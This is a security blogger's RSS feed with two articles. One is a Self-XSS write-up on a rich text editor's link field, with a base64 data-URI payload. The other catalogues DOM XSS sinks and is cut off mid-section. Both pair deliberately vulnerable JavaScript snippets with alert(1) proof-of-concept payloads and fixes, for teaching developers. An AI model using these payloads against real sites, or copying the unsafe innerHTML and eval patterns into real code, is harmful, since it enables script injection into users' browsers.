<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Abhinav Singwal</title>
    <description>The latest articles on DEV Community by Abhinav Singwal (@abhinavsingwal).</description>
    <link>https://dev.to/abhinavsingwal</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2914312%2Faae0d485-b7b1-4267-b6a9-7009d448c122.png</url>
      <title>DEV Community: Abhinav Singwal</title>
      <link>https://dev.to/abhinavsingwal</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/abhinavsingwal"/>
    <language>en</language>
    <item>
      <title>Self XSS Vulnerability in a Rich Text Editor</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Sun, 12 Apr 2026 06:22:22 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/self-xss-vulnerability-in-a-rich-text-editor-5093</link>
      <guid>https://dev.to/abhinavsingwal/self-xss-vulnerability-in-a-rich-text-editor-5093</guid>
      <description>&lt;p&gt;During my recent security testing, I identified a &lt;strong&gt;Self Cross-Site Scripting (Self-XSS)&lt;/strong&gt; issue in a web-based ticketing platform. This write-up focuses on the technical details and learning aspects while keeping the target fully anonymized.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is the Issue
&lt;/h2&gt;

&lt;p&gt;The application uses a &lt;strong&gt;rich text editor&lt;/strong&gt; for user input, commonly found in ticket systems, comment sections, and dashboards.&lt;/p&gt;

&lt;p&gt;While testing the editor features, I discovered that the &lt;strong&gt;insert link functionality&lt;/strong&gt; was not properly handling certain types of input. This allowed crafted payloads to be injected and executed in the browser.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0nhe5q2lemd91yma2mt1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0nhe5q2lemd91yma2mt1.png" alt="selfxss vulnerability in website" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Root Cause
&lt;/h2&gt;

&lt;p&gt;The core issue lies in &lt;strong&gt;improper handling of user-controlled input inside the editor&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Specifically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The URL field in the insert link feature accepted complex input&lt;/li&gt;
&lt;li&gt;The input was not fully sanitized before being processed&lt;/li&gt;
&lt;li&gt;The editor allowed rendering of embedded HTML through data URIs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This created a situation where browser-executable content could be introduced.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technical Breakdown
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Payload Used
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;object data='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+'&amp;gt;&amp;lt;/object&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What this does
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;data:text/html;base64,...&lt;/code&gt; allows embedding HTML content directly&lt;/li&gt;
&lt;li&gt;The Base64 string decodes to an SVG element with an &lt;code&gt;onload&lt;/code&gt; event&lt;/li&gt;
&lt;li&gt;When rendered, the browser executes JavaScript&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a common technique to bypass basic filters that only block &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;




&lt;h2&gt;
  
  
  Execution Flow
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;User opens the editor&lt;/li&gt;
&lt;li&gt;Clicks on insert link option&lt;/li&gt;
&lt;li&gt;Enters crafted payload in URL field&lt;/li&gt;
&lt;li&gt;Saves the content&lt;/li&gt;
&lt;li&gt;When the content is rendered:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;The object tag loads the data URI&lt;/li&gt;
&lt;li&gt;The embedded SVG executes JavaScript via onload&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Observed Behavior
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;JavaScript executed successfully in the browser&lt;/li&gt;
&lt;li&gt;The execution was restricted to the same user session&lt;/li&gt;
&lt;li&gt;The payload did not impact other users or administrators&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why It is Self XSS
&lt;/h2&gt;

&lt;p&gt;This case was classified as &lt;strong&gt;Self-XSS&lt;/strong&gt; because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The attack requires the user to inject the payload themselves&lt;/li&gt;
&lt;li&gt;No automatic execution for other users&lt;/li&gt;
&lt;li&gt;No cross-user data exposure&lt;/li&gt;
&lt;li&gt;No privilege escalation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From a risk perspective, this is considered low impact in most bug bounty programs.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why It Still Matters
&lt;/h2&gt;

&lt;p&gt;Even though this is labeled as low severity, it is still important from a security standpoint.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Indicator of Weak Input Handling
&lt;/h3&gt;

&lt;p&gt;It shows that the application does not fully sanitize complex inputs.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Potential for Chaining
&lt;/h3&gt;

&lt;p&gt;If combined with other issues like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Clickjacking&lt;/li&gt;
&lt;li&gt;Social engineering&lt;/li&gt;
&lt;li&gt;Stored input reuse&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It could lead to more serious exploitation.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Editor Attack Surface
&lt;/h3&gt;

&lt;p&gt;Rich text editors are historically prone to XSS-related issues due to their flexibility.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recommendations for Developers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Strict Input Validation
&lt;/h3&gt;

&lt;p&gt;Do not allow raw HTML or dangerous tags in user input fields.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Sanitize Editor Output
&lt;/h3&gt;

&lt;p&gt;Use well-tested sanitization libraries to clean content before rendering.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Block Dangerous Schemes
&lt;/h3&gt;

&lt;p&gt;Restrict usage of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;data:&lt;/code&gt; URIs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;javascript:&lt;/code&gt; protocols&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Apply Content Security Policy (CSP)
&lt;/h3&gt;

&lt;p&gt;Limit execution of inline scripts and restrict resource loading.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Context-Aware Encoding
&lt;/h3&gt;

&lt;p&gt;Ensure proper encoding based on where the data is rendered.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Not all XSS issues are high impact&lt;/li&gt;
&lt;li&gt;Understanding context is critical in vulnerability assessment&lt;/li&gt;
&lt;li&gt;Rich text editors require deep testing beyond basic payloads&lt;/li&gt;
&lt;li&gt;Always think in terms of exploitation possibilities, not just execution&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  About Me
&lt;/h2&gt;

&lt;p&gt;I am focused on &lt;strong&gt;web application security and VAPT&lt;/strong&gt;.&lt;br&gt;
I am open to &lt;strong&gt;remote opportunities&lt;/strong&gt; and interested in working with &lt;strong&gt;startups and small teams&lt;/strong&gt; where I can contribute and grow.&lt;/p&gt;

</description>
      <category>selfxss</category>
      <category>xss</category>
      <category>texteditor</category>
    </item>
    <item>
      <title>Advanced DOM XSS Patterns Every Developer Should Know</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Wed, 18 Mar 2026 19:02:54 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/advanced-dom-xss-patterns-every-developer-should-know-38a1</link>
      <guid>https://dev.to/abhinavsingwal/advanced-dom-xss-patterns-every-developer-should-know-38a1</guid>
      <description>&lt;p&gt;If you're serious about finding DOM XSS in modern applications, you need to move beyond “search for innerHTML” and start thinking like a data-flow analyst.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Indirect Object Property Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
The input is hidden inside an object, making it easy to miss.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to think:&lt;/strong&gt;&lt;br&gt;
Track data even when it's wrapped in objects.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. Array Join Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; world&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
Array operations don’t sanitize input.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. replace() Callback Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/x/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#xxx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
Developer introduces HTML dynamically.&lt;/p&gt;


&lt;h2&gt;
  
  
  4. Anchor href Injection
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;a href="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;Click&amp;lt;/a&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Payloads:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
JavaScript URLs execute in browser context.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. History API Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nx"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pushState&lt;/span&gt;&lt;span class="p"&gt;({},&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?page=&amp;lt;img src=x onerror=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Form Action Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;form action="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;&amp;lt;/form&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt;&lt;br&gt;
Form submits to attacker-controlled or JS URL.&lt;/p&gt;


&lt;h2&gt;
  
  
  7. CSS Injection → XSS
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;style&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/style&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nf"&gt;#body&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sx"&gt;url("javascript:alert(1)&lt;/span&gt;&lt;span class="err"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
Some browsers interpret JS inside CSS.&lt;/p&gt;


&lt;h2&gt;
  
  
  8. onclick Attribute Injection
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;button onclick="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;Click&amp;lt;/button&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. Dataset → eval Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;div data-x="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;&amp;lt;/div&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;div&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
